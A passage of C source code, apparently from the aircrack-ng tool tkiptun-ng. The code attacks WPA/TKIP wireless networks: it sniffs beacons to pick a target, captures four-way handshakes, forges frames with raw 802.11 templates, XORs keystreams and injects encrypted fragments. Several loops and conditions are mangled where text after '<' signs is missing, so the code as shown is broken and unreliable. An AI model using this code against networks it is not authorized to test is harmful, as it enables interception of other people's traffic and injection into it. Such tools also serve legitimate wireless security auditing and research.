"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 #define DEFAULT_MIC_FAILURE_INTERVAL 60 static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; extern int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length); char usage[] = "\n" " %s - (C) 2008-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: tkiptun-ng \n" "\n" " Filter options:\n" "\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length (default: 80) \n" " -n len : maximum packet length (default: 80)\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -D : disable AP detection\n" " -Z : select packets manually\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -e essid : set target AP SSID\n" " -M sec : MIC error timout in seconds [60]\n" "\n" " Debug options:\n" "\n" " -K prga : keystream for continuation\n" " -y file : keystream-file for continuation\n" " -j : inject FromDS packets\n" " -P pmk : pmk for verification/vuln testing\n" " -p psk : psk to calculate pmk with essid\n" "\n" " source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_minlen_set; int f_maxlen_set; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; FILE *f_ivs; /* output ivs file */ int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_apmac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; unsigned char *prga; int a_mode; int a_count; int a_delay; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; unsigned char oldkeystream[2048]; /* user-defined old keystream */ int oldkeystreamlen; /* user-defined old keystream length */ char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */ char psk[128]; /* shared passphrase among the clients */ unsigned char pmk[128]; /* pmk derived from the essid and psk */ unsigned char ptk[80]; /* ptk calculated from all pieces captured in the handshake */ unsigned char ip_cli[4]; unsigned char ip_ap[4]; int got_ptk; int got_pmk; int got_psk; int got_mic_fromds; int got_mic_tods; int got_ip_ap; int got_ip_client; struct WPA_hdsk wpa; /* valid WPA handshake data */ struct WPA_ST_info wpa_sta; /* used to calculate the pmk */ time_t wpa_time; /* time when the wpa handshake arrived */ unsigned char *chopped_from_plain; /* chopped plaintext packet from the AP */ unsigned char *chopped_to_plain; /* chopped plaintext packet to the AP */ unsigned char *chopped_from_prga; /* chopped keystream from the AP */ unsigned char *chopped_to_prga; /* chopped keystream to the AP */ int chopped_from_plain_len; int chopped_to_plain_len; int chopped_from_prga_len; int chopped_to_prga_len; struct timeval last_mic_failure; /* timestamp of last mic failure */ int mic_failure_interval; /* time between allowed mic failures */ } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i length ) return 0; if(!(packet[1] & 0x40)) //not encrypted { z += 6; //skip LLC header /* check ethertype == EAPOL */ if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 ) { if(opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1) { z += 2; //skip ethertype /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) == 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > length ) return 0; if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) == 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.snonce, &packet[z + 17], 32 ); opt.wpa.state |= 2; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) || length - z < opt.wpa.eapol_size) { // ignore packet trying to crash us opt.wpa.eapol_size = 0; return 0; } memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) != 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state |= 1; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) || length - z < opt.wpa.eapol_size) { // ignore packet trying to crash us opt.wpa.eapol_size = 0; return 0; } memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } if( opt.wpa.state == 7) { memcpy( opt.wpa.stmac, opt.r_smac, 6 ); PCT; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); opt.wpa_time = time(NULL); if( opt.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ // unsigned char *pkt = (unsigned char*) buf; // if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) // { // pkt[22] += (nb_pkt_sent & 0x0000000F) << 4; // pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4; // } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( unsigned long usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); } usleep(1000); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos=0; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if(!qos) return(1); if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x80 ) != 0x80 ) return( 1 ); //no QoS packet if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ // if( opt.f_type == 2 && opt.f_iswep == 1 && // ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0) { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); } if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0) { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); } /* this one looks good */ return( 0 ); } int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; unsigned char pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000UL) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1000); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /* if bssid != NULL its looking for a beacon frame */ int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if(ap_chan != iface_chan) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( unsigned char* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska) { int t, u; int data_size; unsigned char frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet lenght if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 